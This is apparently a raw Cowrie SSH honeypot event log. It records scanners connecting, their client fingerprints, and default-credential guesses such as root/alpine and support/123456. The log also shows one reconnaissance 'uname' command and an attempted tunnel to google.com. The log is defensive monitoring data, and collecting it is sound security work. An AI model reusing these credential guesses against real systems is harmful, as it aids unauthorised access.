{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:45.242494Z","src_ip":"172.187.200.190","session":"92d7d960d21d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dash","password":"dash","message":"login attempt [dash/dash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:45.413296Z","src_ip":"172.187.200.190","session":"92d7d960d21d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:10:46.499145Z","src_ip":"172.187.200.190","session":"92d7d960d21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":52096,"dst_ip":"159.203.135.109","dst_port":22,"session":"97ed33b38d92","protocol":"ssh","message":"New connection: 92.118.39.95:52096 (159.203.135.109:22) [session: 97ed33b38d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:16.705944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:16.710714Z","src_ip":"92.118.39.95","session":"97ed33b38d92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:16.810252Z","src_ip":"92.118.39.95","session":"97ed33b38d92","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"solana","message":"login attempt [root/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:17.113595Z","src_ip":"92.118.39.95","session":"97ed33b38d92","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:17.349865Z","src_ip":"92.118.39.95","session":"97ed33b38d92","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:17.353107Z","src_ip":"92.118.39.95","session":"97ed33b38d92","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:17.455635Z","src_ip":"92.118.39.95","session":"97ed33b38d92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:17.460283Z","src_ip":"92.118.39.95","session":"97ed33b38d92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":63879,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab83edc6e73d","protocol":"ssh","message":"New connection: 193.46.255.86:63879 (10.17.0.5:22) [session: ab83edc6e73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:18.001458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:18.006471Z","src_ip":"193.46.255.86","session":"ab83edc6e73d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:18.141242Z","src_ip":"193.46.255.86","session":"ab83edc6e73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:18.756479Z","src_ip":"193.46.255.86","session":"ab83edc6e73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123456","message":"login attempt [support/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:19.892225Z","src_ip":"193.46.255.86","session":"ab83edc6e73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abc123","message":"login attempt [support/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:21.028682Z","src_ip":"193.46.255.86","session":"ab83edc6e73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abcd123","message":"login attempt [support/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:22.167213Z","src_ip":"193.46.255.86","session":"ab83edc6e73d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abcd1234","message":"login attempt [support/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:23.304916Z","src_ip":"193.46.255.86","session":"ab83edc6e73d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:24.442864Z","src_ip":"193.46.255.86","session":"ab83edc6e73d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":18988,"dst_ip":"159.203.135.109","dst_port":22,"session":"719b08435d1b","protocol":"ssh","message":"New connection: 185.156.73.233:18988 (159.203.135.109:22) [session: 719b08435d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:25.316170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:25.593859Z","src_ip":"185.156.73.233","session":"719b08435d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:26.364583Z","src_ip":"185.156.73.233","session":"719b08435d1b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"alpine","message":"login attempt [root/alpine] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:29.025812Z","src_ip":"185.156.73.233","session":"719b08435d1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.39.142","dst_port":443,"src_ip":"185.156.73.233","src_port":0,"message":"direct-tcp connection request to 142.251.39.142:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:29.116940Z","session":"719b08435d1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.39.142","dst_port":443,"data":"b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 142.251.39.142:443 with data b\"\\x16\\x03\\x03\\x00%\\x10\\x00\\x00! \\x85J\\xc9\\x8ea[\\x86pP-P*f\\x9a\\x8d\\xbd/'\\xcf\\xd8&\\xde\\xe8\\xb8\\xf7j\\xe5?f\\xa7\\xa7\\xf7\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:29.414907Z","src_ip":"185.156.73.233","session":"719b08435d1b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"185.156.73.233","src_port":0,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:30.296959Z","session":"719b08435d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:11:30.489960Z","src_ip":"185.156.73.233","session":"719b08435d1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":57352,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfea81579585","protocol":"ssh","message":"New connection: 2.57.122.96:57352 (159.203.135.109:22) [session: dfea81579585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:12:08.660252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:12:08.664431Z","src_ip":"2.57.122.96","session":"dfea81579585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:12:08.764219Z","src_ip":"2.57.122.96","session":"dfea81579585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:12:09.075424Z","src_ip":"2.57.122.96","session":"dfea81579585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:12:10.176537Z","src_ip":"2.57.122.96","session":"dfea81579585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.218","src_port":60394,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e37fdb1f34","protocol":"ssh","message":"New connection: 205.210.31.218:60394 (10.17.0.5:22) [session: e2e37fdb1f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:12:12.760041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:12:13.767130Z","src_ip":"205.210.31.218","session":"e2e37fdb1f34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:12:15.021136Z","src_ip":"205.210.31.218","session":"e2e37fdb1f34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:12:22.165885Z","src_ip":"205.210.31.218","session":"e2e37fdb1f34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":44190,"dst_ip":"10.17.0.5","dst_port":22,"session":"94679bdb32e2","protocol":"ssh","message":"New connection: 64.176.195.200:44190 (10.17.0.5:22) [session: 94679bdb32e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:01.974901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:01.979821Z","src_ip":"64.176.195.200","session":"94679bdb32e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:13:01.985933Z","src_ip":"64.176.195.200","session":"94679bdb32e2","protocol":"ssh"}
